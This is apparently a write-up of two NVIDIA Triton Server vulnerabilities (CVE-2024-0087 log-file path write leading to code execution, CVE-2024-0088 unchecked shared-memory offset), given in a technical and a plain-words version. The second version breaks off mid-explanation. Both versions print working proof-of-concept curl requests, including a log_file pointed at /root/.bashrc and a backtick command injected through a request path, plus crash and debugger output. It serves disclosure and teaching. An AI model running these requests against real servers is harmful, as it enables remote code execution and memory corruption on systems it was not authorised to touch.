Skip to content
RCE Write-up Intermediate

Preauth RCE on NVIDIA Triton Server

Two vulnerabilities were found in NVIDIA Triton Server: an arbitrary file write via the logging configuration endpoint, and inadequate validation of shared memory parameters leading to arbitrary address write. An attacker could write to sensitive files to achieve remote code execution, or cause memory corruption and potential data leakage.

zhiniang peng Follow

Published on sites.google.com

Triton Inference Server (https://github.com/triton-inference-server/) is an open-source software released by NVIDIA and is an important part of the NVIDIA AI platform. This server can standardize the deployment and execution of AI models for various workloads, providing users with fast and scalable AI services.

zhiniang peng (@edwardzpeng), on sites.google.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Triton Inference Server is an open-source project released by NVIDIA and forms an important part of the NVIDIA AI platform. It standardises the deployment and execution of AI models for many workloads, offering fast and scalable inference services, and it is widely used by AI manufacturers around the world. Because it sits in the serving path of production AI systems, a flaw in the server itself is a flaw in everything built on top of it.

The author found and reported two vulnerabilities in Triton Server:

  • CVE-2024-0087: arbitrary file write through the server's log configuration interface, leading to remote code execution.
  • CVE-2024-0088: inadequate parameter validation in the shared memory handling, leading to an arbitrary address write.

Both are described below with the requests and commands used to demonstrate them.

Setup

For CVE-2024-0087 the only precondition is a running Triton Server reachable on port 8000. The proof of concept starts the service and waits for it to be ready on that port.

For CVE-2024-0088 the server is started the same way, and a Python backend model is deployed following the quick-start steps in the python_backend documentation, using the add_sub model as the example. The shared memory feature is intended for deployments such as Kubernetes, where clients and servers run in different Docker containers on the same machine: a client registers a shared memory region and then points input and output parameters at offsets inside it, avoiding a copy through the network. The relevant parameters are shared_memory_offset and shared_memory_byte_size, documented in the Triton shared memory extension page.

Finding it

Two separate observations led to the two bugs.

The first is the log configuration endpoint, /v2/logging. It accepts a log_file parameter, and that parameter is allowed to be an absolute path. Whatever path is supplied is the file the server creates, writes or appends its log output to. Nothing in the interface restricts the target to a log directory, so the file write primitive is arbitrary.

The second is the shared memory path. The client supplies shared_memory_offset and shared_memory_byte_size for input and output parameters, and the server does not validate them. Because the output result is written back through the output address computed from those parameters, a crafted offset moves the write outside the registered region. Depending on the inference model's output and the type of output parameters, the same weakness may also allow memory data to leak.

Exploitation

CVE-2024-0087: writing an arbitrary file

The log file configuration interface accepts a log_file parameter with an absolute path. This allows arbitrary file creation, writing or appending. The author's examples of useful targets are /root/.bashrc, /etc/environment, or any script file related to a user's model business, which will later be executed on the Triton Server. The attacker writes the malicious command and waits for the script containing it to run.

The proof of concept starts the server and waits for it to be ready on port 8000, then points the log file at /root/.bashrc:

Python
# Start the Triton Server service and wait for it to be ready on port 8000.

...

# Specify the file to be appended or overwritten, e.g., /root/.bashrc

curl http://[redacted]:8000/v2/logging -X POST -d '{"log_file":"/root/.bashrc","log_info":true,"log_warning":true,"log_error":true,"log_verbose_level":1,"log_format":"default"}' -v

# Write the attack command through log access

curl 'http://[redacted]:8000/cmd/`id>/root/cmd_result`' -v

# Simulate the execution of the script containing the attack command

bash

# Confirm the execution of the injected command

tail /root/.bashrc

ls -l /root/cmd_result && cat /root/cmd_result

The second request is the injection step: it requests a path under /cmd/ whose name contains a command substitution, `id>/root/cmd_result`. The report does not explain how that string reaches the log file. The third step runs bash, which reads /root/.bashrc. The final commands are tail /root/.bashrc and ls -l /root/cmd_result && cat /root/cmd_result.

CVE-2024-0088: writing outside the shared memory region

The shared memory registration interface is called first, creating a region named sec_test backed by the key [redacted], at offset 0 with a size of 67108864 bytes:

Bash
# Request the shared memory registration interface.

curl http://[redacted]:8000/v2/systemsharedmemory/region/sec_test/register -X POST -d '{"key":"[redacted]", "offset":0, "byte_size":67108864}'

Then an inference request is sent to the add_sub model. Both inputs read from the region at offset 0 with a byte size of 64. OUTPUT0 is pointed at the same region with shared_memory_offset set to 18446744073709551584, which is -0x20 in int64_t. At that offset the output address calculation produces an illegal address, typically 32 bytes before the start of shared memory, which is expected to cause a segmentation fault. OUTPUT1 uses binary_data instead of shared memory:

Bash
# Request an inference, setting the address offset to be written. To demonstrate the effect of causing the program to crash, set the offset to 18446744073709551584, which is -0x20 in int64_t. At this offset, the output address calculation results in an illegal address, typically 32 bytes before the start of shared memory. This is expected to cause a segmentation fault (SIGSEGV).

curl http://[redacted]:8000/v2/models/add_sub/infer -X POST -d '{"id":"1","inputs":[{"name":"INPUT0","shape":[4],"datatype":"FP32","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":0,"shared_memory_byte_size":64}},{"name":"INPUT1","shape":[4],"datatype":"FP32","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":0,"shared_memory_byte_size":64}}],"outputs":[{"name":"OUTPUT0","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":18446744073709551584,"shared_memory_byte_size":64}},{"name":"OUTPUT1","parameters":{"binary_data":true}}]}'

The crash confirms the write target. The signal trace shows the fault arriving through the Python backend's copy path:

Python
Signal (11) received.

0# 0x0000555555692959 in tritonserver

1# 0x00007FFFF648D090 in /lib/x86_64-linux-gnu/libc.so.6

2# 0x00007FFFF65D598C in /lib/x86_64-linux-gnu/libc.so.6

3# 0x00007FFFD519471B in /opt/tritonserver/backends/python/libtriton_python.so

4# 0x00007FFFD517A430 in /opt/tritonserver/backends/python/libtriton_python.so

5# 0x00007FFFD514259D in /opt/tritonserver/backends/python/libtriton_python.so

6# TRITONBACKEND_ModelInstanceExecute in /opt/tritonserver/backends/python/libtriton_python.so

7# 0x00007FFFF6E25054 in /opt/tritonserver/bin/../lib/libtritonserver.so

8# 0x00007FFFF6E25347 in /opt/tritonserver/bin/../lib/libtritonserver.so

9# 0x00007FFFF6F192A1 in /opt/tritonserver/bin/../lib/libtritonserver.so

10# 0x00007FFFF6E24327 in /opt/tritonserver/bin/../lib/libtritonserver.so

11# 0x00007FFFF687EDE4 in /lib/x86_64-linux-gnu/libstdc++.so.6

12# 0x00007FFFF6992609 in /lib/x86_64-linux-gnu/libpthread.so.0

13# clone in /lib/x86_64-linux-gnu/libc.so.6

# Upon examining the process using GDB, it was observed that the process triggered a SIGSEGV (Segmentation Fault) when accessing the address 0x7ffefbffffe0. It was confirmed that this corresponds to the location obtained by subtracting 0x20 from the shared memory address 0x7ffefc000000.

gef➤  i proc mappings | grep shm

Too many parameters: | grep shm

gef➤  shell cat /proc/`pidof tritonserver`/maps | grep shm

7ffefc000000-7fff00000000 rw-s 00000000 00:2e 13971966                   /dev/shm/[redacted]

7fffca53f000-7fffce53f000 rw-s 00000000 00:2e 13971966                   /dev/shm/[redacted]

gef➤  bt 20

#0  __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:306

#1  0x00007fffd519471b in triton::backend::CopyBuffer(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, TRITONSERVER_memorytype_enum, long, TRITONSERVER_memorytype_enum, long, unsigned long, void const*, void*, CUstream_st*, bool*, bool) () from /opt/tritonserver/backends/python/libtriton_python.so

#2  0x00007fffd517a430 in triton::backend::python::InferResponse::Send(TRITONBACKEND_ResponseFactory*, void*, bool&, unsigned int, std::unique_ptr<triton::backend::python::SharedMemoryManager, std::default_delete<triton::backend::python::SharedMemoryManager> >&, std::vector<std::pair<std::unique_ptr<triton::backend::python::PbMemory, std::default_delete<triton::backend::python::PbMemory> >, void*>, std::allocator<std::pair<std::unique_ptr<triton::backend::python::PbMemory, std::default_delete<triton::backend::python::PbMemory> >, void*> > >&, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&, TRITONBACKEND_Response*) () from /opt/tritonserver/backends/python/libtriton_python.so

#3  0x00007fffd514259d in triton::backend::python::ModelInstanceState::ProcessRequests(TRITONBACKEND_Request**, unsigned int, bool&) () from /opt/tritonserver/backends/python/libtriton_python.so

#4  0x00007fffd514352a in TRITONBACKEND_ModelInstanceExecute () from /opt/tritonserver/backends/python/libtriton_python.so

#5  0x00007ffff6e25054 in triton::core::TritonModelInstance::Execute(std::vector<TRITONBACKEND_Request*, std::allocator<TRITONBACKEND_Request*> >&) () from /opt/tritonserver/bin/../lib/libtritonserver.so

#6  0x00007ffff6e25347 in triton::core::TritonModelInstance::Schedule(std::vector<std::unique_ptr<triton::core::InferenceRequest, std::default_delete<triton::core::Inference

Request> > >&&, std::function<void ()> const&) () from /opt/tritonserver/bin/../lib/libtritonserver.so

#7  0x00007ffff6f192a1 in triton::core::Payload::Execute(bool*) () from /opt/tritonserver/bin/../lib/libtritonserver.so

#8  0x00007ffff6e24327 in triton::core::TritonModelInstance::TritonBackendThread::BackendThread(int, int) () from /opt/tritonserver/bin/../lib/libtritonserver.so

#9  0x00007ffff687ede4 in ?? () from /lib/x86_64-linux-gnu/libstdc++.so.6

#10 0x00007ffff6992609 in start_thread (arg=<optimized out>) at pthread_create.c:477

#11 0x00007ffff6569353 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

gef➤  x/i $rip

=> 0x7ffff65d598c <__memmove_avx_unaligned_erms+124>:   vmovdqu XMMWORD PTR [rdi],xmm0

gef➤  i r rdi

rdi            0x7ffefbffffe0      0x7ffefbffffe0

gef➤  p 0x7ffefc000000-0x20

$1 = 0x7ffefbffffe0

gef➤

The mappings show the region [redacted] mapped at 0x7ffefc000000. The faulting instruction is a vmovdqu store through rdi, and rdi holds 0x7ffefbffffe0, exactly 0x7ffefc000000 - 0x20. The backtrace runs from __memmove_avx_unaligned_erms through triton::backend::CopyBuffer and InferResponse::Send in the Python backend, up through the core TritonModelInstance::Execute and Payload::Execute paths. The author notes one further detail: the memory mapped by [redacted] is adjacent to the libz library.

Root cause

CVE-2024-0087 is a missing restriction on a user-controlled path. The /v2/logging interface takes log_file and honours an absolute path, so the server will create, write or append to any file the process can reach. There is no confinement to a log directory.

CVE-2024-0088 is missing validation of shared_memory_offset and shared_memory_byte_size. The output address is computed from the client-supplied offset without checking that it lies inside the registered region, so the copy of the inference result writes to an attacker-chosen address relative to the region. The crash above is the visible symptom of that unchecked arithmetic. The report does not describe the exact validation code that was missing.

Impact

For CVE-2024-0087, an attacker can write to files such as /root/.bashrc, /etc/environment, or any model-related script, and the injected command runs when that file is next executed. This gives code execution on the Triton Server.

For CVE-2024-0088, the arbitrary address write can corrupt memory, and in certain scenarios, depending on the inference model's output and the type of output parameters, it may also leak memory data.

The author frames the wider risk in terms of what Triton underpins. Companies and manufacturers using the server could face complete control over their cloud-based AI models: an unauthorised attacker could steal sensitive user data, execute malicious code, alter AI model computation results, and even steal AI models. The examples given are an autonomous vehicle manufacturer whose self-driving service could misjudge, endangering passengers and pedestrians, and an AI service provider whose model results could be tampered with or whose model could be stolen, causing intellectual property leakage or reputational damage. For an end customer, a conversational AI assistant under attacker control could expose conversation content, daily habits and private information, which could then be disclosed, sold or used for fraud and theft.

Fix

The two issues were assigned CVE-2024-0087 and CVE-2024-0088; what changed in the code is not stated here.

Variants to test

  • Other absolute-path parameters. Look for any management or configuration endpoint that accepts a file path (log files, model repository paths, cache directories) and try an absolute path outside the intended directory. A positive result is a file created or appended at the chosen path, visible with tail or ls -l as in the first proof of concept.
  • Other offset and size parameters. Wherever a client supplies an offset and a size into a shared or mapped buffer, send a negative offset such as -0x20 and an oversized length. A positive result is a crash whose faulting address equals the region base minus the offset, as confirmed here with i r rdi and p 0x7ffefc000000-0x20.
  • Adjacent mappings. Check what is mapped next to the shared memory region, since the author observed the region sitting next to libz. A positive result is a controlled write into an adjacent mapping rather than a fault.
  • Output parameter types. Vary the model's output datatype and shape, since the report notes that memory leakage depends on the inference model's output and the type of output parameters. A positive result is returned data that was not produced by the model.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 26 min read.

What happened, in plain words

NVIDIA makes a piece of software called Triton Inference Server. It is a program that runs AI models for other programs: you send it data, it runs the model, and it sends back the answer. Many companies use it behind their own products, so if it has a security hole, every product built on top of it inherits that hole.

The researcher in this report found two separate security holes in Triton Server and reported them to NVIDIA. Each was given an official tracking number, called a CVE:

  • CVE-2024-0087: the server lets a client tell it where to write its log file, and it accepts any file path at all. An attacker can use that to write a file of their choosing, and later get that file executed as a program. That is remote code execution, usually shortened to RCE.
  • CVE-2024-0088: the server has a feature where a client can hand over a block of shared memory and say "put the results at this position inside it". The server does not check the position properly, so a client can make the server write to an arbitrary address. That is an arbitrary address write.

Below, each hole is explained from scratch, with the exact requests the researcher used and a plain-words walkthrough of every line.

Background: what Triton Server is and why it matters

Triton Inference Server (the project lives at https://github.com/triton-inference-server/) is open-source software released by NVIDIA and is an important part of the NVIDIA AI platform. It standardises the deployment and execution of AI models for various workloads, giving users fast and scalable AI services. As a mainstream global AI inference server, it is widely used by many artificial intelligence manufacturers around the world.

A few terms unpacked:

  • AI model: a large set of numbers, produced by a training process, that turns an input (an image, a sentence, a row of figures) into an output (a label, a reply, a prediction). On its own it is just data; something has to load it and run it.
  • Inference: running a trained model on new input to get an answer. It is different from training, which is the slow process of building the model in the first place.
  • Server: a program that listens for requests from other programs over a network and answers them. Triton is such a program: it waits on a network port, receives requests, runs the model and sends results back.
  • Deployment: the act of putting a model onto a server so that real users and applications can use it.

Because Triton sits in the middle of production AI systems, a flaw in the server itself is a flaw in everything built on top of it. That is the reason this report matters beyond one machine.

The two vulnerabilities at a glance

Recently, the researcher discovered and reported two vulnerabilities on NVIDIA's Triton Server:

  • CVE-2024-0087: arbitrary file write through Triton Server's log configuration interface leading to remote code execution.
  • CVE-2024-0088: inadequate parameter validation in Triton Server's shared memory handling leading to arbitrary address write.

Two concepts appear in those one-line summaries and are worth defining now, because everything else builds on them:

  • Arbitrary file write: the attacker can make the program create or change a file at any location the program itself is allowed to touch, not just in the folder the feature was meant for. Think of a hotel receptionist who is supposed to hand out room keys only for your own room, but hands out a key to any room you name.
  • Remote code execution (RCE): the attacker can make the server run commands of their choosing, from a distance, without ever logging in. It is the most serious class of web-facing bug, because once you can run commands you can usually do anything the server process can do.
  • Parameter validation: checking the values a client sends before using them. If a form asks for a number between 1 and 10 and the program never checks, a client can send -5000 or a gigantic number and the program will happily use it.
  • Arbitrary address write: the attacker can make the program write data to a memory location of their choosing, rather than to the buffer that was intended. Memory is just numbered storage cells; writing to the wrong number corrupts whatever lives there.

Setup: what you need before trying either proof of concept

For CVE-2024-0087 the only precondition is a running Triton Server reachable on port 8000. The proof of concept starts the service and waits for it to be ready on that port.

A port is a numbered door on a machine. One machine can run many network services at once, and each listens on its own number. Port 8000 is simply the door Triton was configured to open in this test.

For CVE-2024-0088 the server is started the same way, and a Python backend model is deployed following the quick-start steps in the python_backend documentation, using the add_sub model as the example.

  • Backend: the part of Triton that actually knows how to run a particular kind of model. A Python backend means the model's logic is written in Python.
  • add_sub: the example model used here. Its name says what it does: it adds and subtracts numbers. It is deliberately trivial, because the point of the test is the plumbing around the model, not the model itself.

The shared memory feature is intended for deployments such as Kubernetes, where clients and servers run in different Docker containers on the same machine.

  • Kubernetes: a system for running many small isolated programs (containers) across machines and keeping them alive.
  • Docker container: a lightweight, isolated box on a machine that holds one program and its dependencies. Two containers on the same machine can talk to each other but do not share ordinary memory.
  • Shared memory: a block of memory that two programs on the same machine can both read and write directly, instead of copying data back and forth over the network. It is like two colleagues sharing one whiteboard in a room rather than mailing notes to each other.

A client registers a shared memory region and then points input and output parameters at offsets inside it, avoiding a copy through the network. The relevant parameters are shared_memory_offset and shared_memory_byte_size, documented in the Triton shared memory extension page.

  • Region: one named block of shared memory. The client gives it a name so it can refer to it later.
  • Offset: a distance from the start of the block, measured in bytes. Offset 0 means "the very beginning". Offset 64 means "64 bytes in".
  • Byte size: how many bytes to read or write starting from that offset.

Finding it: how the two holes were spotted

Two separate observations led to the two bugs.

The first is the log configuration endpoint, /v2/logging. It accepts a log_file parameter, and that parameter is allowed to be an absolute path. Whatever path is supplied is the file the server creates, writes or appends its log output to. Nothing in the interface restricts the target to a log directory, so the file write primitive is arbitrary.

  • Endpoint: a specific address on a server that performs one job, like a counter in a large office building. /v2/logging is the counter that handles logging settings.
  • API: the general idea of one program talking to another through defined requests and responses. Every endpoint is part of an API. Think of a restaurant menu: you may order only what is listed, and the kitchen handles it in a defined way.
  • Parameter: a named value you send along with a request, such as log_file.
  • Absolute path: a full file location starting from the root of the filesystem, such as /root/.bashrc. A relative path is interpreted from wherever the program happens to be; an absolute path is taken literally, wherever it points.
  • Log: a running record of what a program did, normally written to a file so it can be read later when something goes wrong.
  • Append: add to the end of an existing file rather than replacing it.
  • Primitive: in security, a small capability that can be combined with others. "Write a file anywhere" is a primitive; on its own it may not be code execution, but combined with a file that gets executed later, it becomes code execution.

The second is the shared memory path. The client supplies shared_memory_offset and shared_memory_byte_size for input and output parameters, and the server does not validate them. Because the output result is written back through the output address computed from those parameters, a crafted offset moves the write outside the registered region. Depending on the inference model's output and the type of output parameters, the same weakness may also allow memory data to leak.

  • Crafted: deliberately chosen to have a particular effect, rather than a normal value a well-behaved client would send.
  • Memory leak: the server returns data from memory that it was never supposed to reveal, such as other users' data or internal values.

Exploitation of CVE-2024-0087: writing an arbitrary file

The log file configuration interface accepts a log_file parameter with an absolute path. This allows arbitrary file creation, writing or appending. The author's examples of useful targets are /root/.bashrc, /etc/environment, or any script file related to a user's model business, which will later be executed on the Triton Server. The attacker writes the malicious command and waits for the script containing it to run.

Why those targets? Because they are files the system itself runs later:

  • /root/.bashrc: a startup file that the bash shell reads and executes every time it starts for the root user. Anything written into it becomes a command.
  • /etc/environment: a system-wide file that sets environment variables for users when they log in. It is read by the system, so it is another place where written text can turn into action.
  • Script file related to a user's model business: any shell script the operator runs as part of their normal work. If the attacker can append to it, the attacker's command runs the next time the operator runs that script.

The proof of concept starts the server and waits for it to be ready on port 8000, then points the log file at /root/.bashrc:

Python
# Start the Triton Server service and wait for it to be ready on port 8000.

...

# Specify the file to be appended or overwritten, e.g., /root/.bashrc

curl http://[redacted]:8000/v2/logging -X POST -d '{"log_file":"/root/.bashrc","log_info":true,"log_warning":true,"log_error":true,"log_verbose_level":1,"log_format":"default"}' -v

# Write the attack command through log access

curl 'http://[redacted]:8000/cmd/`id>/root/cmd_result`' -v

# Simulate the execution of the script containing the attack command

bash

# Confirm the execution of the injected command

tail /root/.bashrc

ls -l /root/cmd_result && cat /root/cmd_result

Line by line, in plain words:

  1. # Start the Triton Server service and wait for it to be ready on port 8000. followed by ... is a placeholder. The researcher is saying: before any of this, start Triton and wait until it answers on port 8000. The ... stands for whatever command starts the server in your environment; the report does not spell it out.
  2. curl http://[redacted]:8000/v2/logging -X POST -d '{...}' -v is the first real request.
    • curl is a command-line tool for sending HTTP requests, the same kind of request a browser sends when you load a page. It is the standard way to talk to an API by hand.
    • http://[redacted]:8000 means "this same machine, port 8000". [redacted] is the address a machine uses to refer to itself, often called localhost. Using it here keeps the test self-contained.
    • /v2/logging is the endpoint that changes logging settings.
    • -X POST says "use the POST method". HTTP has several methods; POST is the one used to send data that changes something on the server.
    • -d '{...}' is the body of the request: the data being sent. It is JSON, a simple text format for structured data, made of names and values in curly braces.
    • -v means verbose: print the full request and response so you can see exactly what happened.
    • Inside the JSON: "log_file":"/root/.bashrc" is the dangerous part. It tells the server "write your log to this file". The other fields switch on info, warning and error logging, set the verbosity level to 1 and choose the default log format. They are there so that the server actually produces log lines, which is what gets written into the target file.
  3. curl 'http://[redacted]:8000/cmd/id>/root/cmd_result' -v is the injection step. The URL contains a path under /cmd/ whose name includes a command substitution: `id>/root/cmd_result`. A command substitution is a shell feature: text between backticks is run as a command, and its output is substituted into the surrounding text. Here the command is id>/root/cmd_result, which runs id (a command that prints who the current user is) and redirects its output into the file /root/cmd_result. The request path contains a command substitution, `id>/root/cmd_result`. The report does not explain how that string reaches the log file.
  4. bash starts a new shell, which reads /root/.bashrc on startup.
  5. tail /root/.bashrc prints the last lines of the file, so you can see the injected line sitting there. tail shows the end of a file; it is a quick way to confirm the write happened.
  6. ls -l /root/cmd_result && cat /root/cmd_result checks the result. ls -l lists the file with details; cat prints its contents. The && means "only run the second command if the first succeeded".

The sequence is the whole attack in miniature: write a file the system will execute, then wait for it to be executed. The attacker does not need to be present for step 4; they only need the file to be read at some later point.

Exploitation of CVE-2024-0088: writing outside the shared memory region

The shared memory registration interface is called first, creating a region named sec_test backed by the key [redacted], at offset 0 with a size of 67108864 bytes:

Bash
# Request the shared memory registration interface.

curl http://[redacted]:8000/v2/systemsharedmemory/region/sec_test/register -X POST -d '{"key":"[redacted]", "offset":0, "byte_size":67108864}'

What each part does:

  • /v2/systemsharedmemory/region/sec_test/register is the endpoint that registers a shared memory region. The name sec_test is chosen by the client and appears in the URL; it is the label the client will use later.
  • "key":"[redacted]" is the underlying name of the shared memory object on the machine. The client's friendly name (sec_test) is mapped onto this key.
  • "offset":0 means the region starts at the beginning of that shared memory object.
  • "byte_size":67108864 is the size of the region in bytes. 67108864 bytes is 64 mebibytes, a sizeable block, which gives plenty of room to aim at.

Registering first is necessary because the later inference request refers to the region by name. Without a registered region, there is nothing to point at.

Then an inference request is sent to the add_sub model. Both inputs read from the region at offset 0 with a byte size of 64. OUTPUT0 is pointed at the same region with shared_memory_offset set to 18446744073709551584, which is -0x20 in int64_t. At that offset the output address calculation produces an illegal address, typically 32 bytes before the start of shared memory, which is expected to cause a segmentation fault. OUTPUT1 uses binary_data instead of shared memory:

Bash
# Request an inference, setting the address offset to be written. To demonstrate the effect of causing the program to crash, set the offset to 18446744073709551584, which is -0x20 in int64_t. At this offset, the output address calculation results in an illegal address, typically 32 bytes before the start of shared memory. This is expected to cause a segmentation fault (SIGSEGV).

curl http://[redacted]:8000/v2/models/add_sub/infer -X POST -d '{"id":"1","inputs":[{"name":"INPUT0","shape":[4],"datatype":"FP32","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":0,"shared_memory_byte_size":64}},{"name":"INPUT1","shape":[4],"datatype":"FP32","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":0,"shared_memory_byte_size":64}}],"outputs":[{"name":"OUTPUT0","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":18446744073709551584,"shared_memory_byte_size":64}},{"name":"OUTPUT1","parameters":{"binary_data":true}}]}'

This is a big request, so break it into pieces:

  • /v2/models/add_sub/infer is the endpoint that asks the add_sub model to run. infer means "do an inference".
  • "id":"1" is just a label for this request, so the response can be matched to it.
  • inputs is the list of things going into the model. There are two, INPUT0 and INPUT1, because add_sub needs two numbers to add and subtract.
  • "shape":[4] says each input is four values long. A shape is the dimensions of the data; [4] means a one-dimensional list of four items.
  • "datatype":"FP32" says each value is a 32-bit floating point number, i.e. a decimal number stored in four bytes.
  • "shared_memory_region":"sec_test" tells the server to read this input from the region registered earlier, rather than from the request body.
  • "shared_memory_offset":0 and "shared_memory_byte_size":64 say "read 64 bytes starting at the very beginning of the region". Four FP32 values are 16 bytes, so 64 bytes is more than enough.
  • outputs is the list of results wanted back. OUTPUT0 is the interesting one: it also names sec_test, but its shared_memory_offset is 18446744073709551584.
  • That number is the key to the bug. In a signed 64-bit integer, the type called int64_t, the largest value is 9223372036854775807. The number 18446744073709551584 is what you get when you store -32 in an unsigned 64-bit field, or equivalently it is -0x20 when read as a signed value. 0x20 is hexadecimal for 32. So the client is asking the server to write the output at "minus 32 bytes from the start of the region".
  • "shared_memory_byte_size":64 says write 64 bytes there.
  • OUTPUT1 uses "binary_data":true instead, meaning "send this result back in the normal response body, not through shared memory". It is there so the request is otherwise well-formed and the test isolates the one bad parameter.

A segmentation fault (SIGSEGV) is the operating system stopping a program because it tried to touch memory it is not allowed to touch. It is the computer equivalent of reaching for a shelf that is not there: the program is halted immediately. The researcher chose -0x20 deliberately so that the output address calculation produces an illegal address, typically 32 bytes before the start of shared memory, and the crash demonstrates the effect.

The crash confirms the write target. The signal trace shows the fault arriving through the Python backend's copy path:

Python
Signal (11) received.

0# 0x0000555555692959 in tritonserver

1# 0x00007FFFF648D090 in /lib/x86_64-linux-gnu/libc.so.6

2# 0x00007FFFF65D598C in /lib/x86_64-linux-gnu/libc.so.6

3# 0x00007FFFD519471B in /opt/tritonserver/backends/python/libtriton_python.so

4# 0x00007FFFD517A430 in /opt/tritonserver/backends/python/libtriton_python.so

5# 0x00007FFFD514259D in /opt/tritonserver/backends/python/libtriton_python.so

6# TRITONBACKEND_ModelInstanceExecute in /opt/tritonserver/backends/python/libtriton_python.so

7# 0x00007FFFF6E25054 in /opt/tritonserver/bin/../lib/libtritonserver.so

8# 0x00007FFFF6E25347 in /opt/tritonserver/bin/../lib/libtritonserver.so

9# 0x00007FFFF6F192A1 in /opt/tritonserver/bin/../lib/libtritonserver.so

10# 0x00007FFFF6E24327 in /opt/tritonserver/bin/../lib/libtritonserver.so

11# 0x00007FFFF687EDE4 in /lib/x86_64-linux-gnu/libstdc++.so.6

12# 0x00007FFFF6992609 in /lib/x86_64-linux-gnu/libpthread.so.0

13# clone in /lib/x86_64-linux-gnu/libc.so.6

# Upon examining the process using GDB, it was observed that the process triggered a SIGSEGV (Segmentation Fault) when accessing the address 0x7ffefbffffe0. It was confirmed that this corresponds to the location obtained by subtracting 0x20 from the shared memory address 0x7ffefc000000.

gef➤  i proc mappings | grep shm

Too many parameters: | grep shm

gef➤  shell cat /proc/`pidof tritonserver`/maps | grep shm

7ffefc000000-7fff00000000 rw-s 00000000 00:2e 13971966                   /dev/shm/[redacted]

7fffca53f000-7fffce53f000 rw-s 00000000 00:2e 13971966                   /dev/shm/[redacted]

gef➤  bt 20

#0  __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:306

#1  0x00007fffd519471b in triton::backend::CopyBuffer(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, TRITONSERVER_memorytype_enum, long, TRITONSERVER_memorytype_enum, long, unsigned long, void const*, void*, CUstream_st*, bool*, bool) () from /opt/tritonserver/backends/python/libtriton_python.so

#2  0x00007fffd517a430 in triton::backend::python::InferResponse::Send(TRITONBACKEND_ResponseFactory*, void*, bool&, unsigned int, std::unique_ptr<triton::backend::python::SharedMemoryManager, std::default_delete<triton::backend::python::SharedMemoryManager> >&, std::vector<std::pair<std::unique_ptr<triton::backend::python::PbMemory, std::default_delete<triton::backend::python::PbMemory> >, void*>, std::allocator<std::pair<std::unique_ptr<triton::backend::python::PbMemory, std::default_delete<triton::backend::python::PbMemory> >, void*> > >&, std::set<std::__cxx11::basic_string<char>, std::less<std::__cxx11::basic_string<char> >, std::allocator<std::__cxx11::basic_string<char> > > const&, TRITONBACKEND_Response*) () from /opt/tritonserver/backends/python/libtriton_python.so

#3  0x00007fffd514259d in triton::backend::python::ModelInstanceState::ProcessRequests(TRITONBACKEND_Request**, unsigned int, bool&) () from /opt/tritonserver/backends/python/libtriton_python.so

#4  0x00007fffd514352a in TRITONBACKEND_ModelInstanceExecute () from /opt/tritonserver/backends/python/libtriton_python.so

#5  0x00007ffff6e25054 in triton::core::TritonModelInstance::Execute(std::vector<TRITONBACKEND_Request*, std::allocator<TRITONBACKEND_Request*> >&) () from /opt/tritonserver/bin/../lib/libtritonserver.so

#6  0x00007ffff6e25347 in triton::core::TritonModelInstance::Schedule(std::vector<std::unique_ptr<triton::core::InferenceRequest, std::default_delete<triton::core::Inference

Request> > >&&, std::function<void ()> const&) () from /opt/tritonserver/bin/../lib/libtritonserver.so

#7  0x00007ffff6f192a1 in triton::core::Payload::Execute(bool*) () from /opt/tritonserver/bin/../lib/libtritonserver.so

#8  0x00007ffff6e24327 in triton::core::TritonModelInstance::TritonBackendThread::BackendThread(int, int) () from /opt/tritonserver/bin/../lib/libtritonserver.so

#9  0x00007ffff687ede4 in ?? () from /lib/x86_64-linux-gnu/libstdc++.so.6

#10 0x00007ffff6992609 in start_thread (arg=<optimized out>) at pthread_create.c:477

#11 0x00007ffff6569353 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

gef➤  x/i $rip

=> 0x7ffff65d598c <__memmove_avx_unaligned_erms+124>:   vmovdqu XMMWORD PTR [rdi],xmm0

gef➤  i r rdi

rdi            0x7ffefbffffe0      0x7ffefbffffe0

gef➤  p 0x7ffefc000000-0x20

$1 = 0x7ffefbffffe0

gef➤

This block is a mix of a crash report and a debugging session. Here is what each part means:

  • Signal (11) received. is the program reporting that it was killed by signal number 11, which on Linux is SIGSEGV, the segmentation fault. The numbered lines below it are a stack trace: a list of the functions that were running at the moment of the crash, innermost first. Reading it tells you which code path led to the fault.
  • The trace starts in tritonserver and passes through libc.so.6 (the standard C library), then several frames in /opt/tritonserver/backends/python/libtriton_python.so (the Python backend), then TRITONBACKEND_ModelInstanceExecute, then the core library libtritonserver.so, then libstdc++.so.6 (the C++ standard library), libpthread.so.0 (threads) and clone (the system call that creates a thread). In short: the fault happened while a worker thread was executing a model instance through the Python backend.
  • GDB is the GNU Debugger, a tool that lets you pause a running program and inspect its memory. The gef➤ prompt is GDB with the GEF extension loaded. The lines after the trace are commands typed into GDB and their output.
  • i proc mappings | grep shm was an attempt to list the process's memory mappings and filter for shared memory. It failed with Too many parameters: | grep shm, because that GDB command does not accept a pipe. The researcher then used a different approach.
  • shell cat /proc/pidof tritonserver/maps | grep shm runs a shell command from inside GDB. /proc/<pid>/maps is a file the Linux kernel provides for every process, listing every block of memory it has mapped. pidof tritonserver finds the process ID of the running server. grep shm keeps only the lines mentioning shared memory. The two lines that come back show [redacted] mapped at 7ffefc000000-7fff00000000 and again at 7fffca53f000-7fffce53f000. The rw-s means readable, writable and shared; the rest of the line is bookkeeping.
